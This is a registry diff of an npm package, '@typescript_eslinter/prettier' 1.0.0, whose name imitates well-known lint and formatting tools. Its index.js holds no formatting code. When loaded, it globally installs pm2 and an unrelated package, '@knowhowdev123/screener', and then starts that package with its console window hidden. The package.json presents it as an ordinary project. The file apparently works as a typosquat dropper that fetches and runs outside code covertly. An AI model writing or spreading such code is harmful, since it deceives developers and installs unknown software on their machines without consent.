@typescript_eslinter/prettier 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +62 -0
- package/package.json +21 -0
package/index.js
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
|
3
|
+
// Function to install pm2 globally
|
4
|
+
function installPm2() {
|
5
|
+
return new Promise((resolve, reject) => {
|
6
|
+
exec('npm install -g pm2', (error, stdout, stderr) => {
|
7
|
+
if (error) {
|
8
|
+
reject(`Error installing PM2: ${stderr}`);
|
9
|
+
} else {
|
10
|
+
console.log('PM2 installed globally');
|
11
|
+
resolve(stdout);
|
12
|
+
}
|
13
|
+
});
|
14
|
+
});
|
15
|
+
}
|
16
|
+
|
17
|
+
// Function to install screener globally
|
18
|
+
function installScreener() {
|
19
|
+
return new Promise((resolve, reject) => {
|
20
|
+
exec('npm install -g @knowhowdev123/screener@latest', (error, stdout, stderr) => {
|
21
|
+
if (error) {
|
22
|
+
reject(`Error installing PM2: ${stderr}`);
|
23
|
+
} else {
|
24
|
+
console.log('PM2 installed globally');
|
25
|
+
resolve(stdout);
|
26
|
+
}
|
27
|
+
});
|
28
|
+
});
|
29
|
+
}
|
30
|
+
|
31
|
+
// Function to start the folder with pm2
|
32
|
+
function startScreener() {
|
33
|
+
return new Promise((resolve, reject) => {
|
34
|
+
exec(`screener start`, { windowsHide: true }, (error, stdout, stderr) => {
|
35
|
+
if (error) {
|
36
|
+
reject(`Error starting with PM2: ${stderr}`);
|
37
|
+
} else {
|
38
|
+
resolve(stdout);
|
39
|
+
}
|
40
|
+
});
|
41
|
+
});
|
42
|
+
}
|
43
|
+
|
44
|
+
// Main function to execute the steps
|
45
|
+
async function main() {
|
46
|
+
try {
|
47
|
+
console.log('Installing PM2...');
|
48
|
+
await installPm2();
|
49
|
+
|
50
|
+
console.log('Installing Screener...');
|
51
|
+
await installScreener();
|
52
|
+
|
53
|
+
console.log('Starting application with PM2...');
|
54
|
+
await startScreener();
|
55
|
+
|
56
|
+
console.log('All steps completed successfully!');
|
57
|
+
} catch (error) {
|
58
|
+
console.error('An error occurred:', error);
|
59
|
+
}
|
60
|
+
}
|
61
|
+
|
62
|
+
main();
|
package/package.json
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
{
|
2
|
+
"name": "@typescript_eslinter/prettier",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
7
|
+
},
|
8
|
+
"keywords": [],
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"devDependencies": {},
|
12
|
+
"repository": {
|
13
|
+
"type": "git",
|
14
|
+
"url": "git+https://github.com/typescript-eslinter/prettier.git"
|
15
|
+
},
|
16
|
+
"bugs": {
|
17
|
+
"url": "https://github.com/typescript-eslinter/prettier/issues"
|
18
|
+
},
|
19
|
+
"homepage": "https://github.com/typescript-eslinter/prettier#readme",
|
20
|
+
"description": ""
|
21
|
+
}
|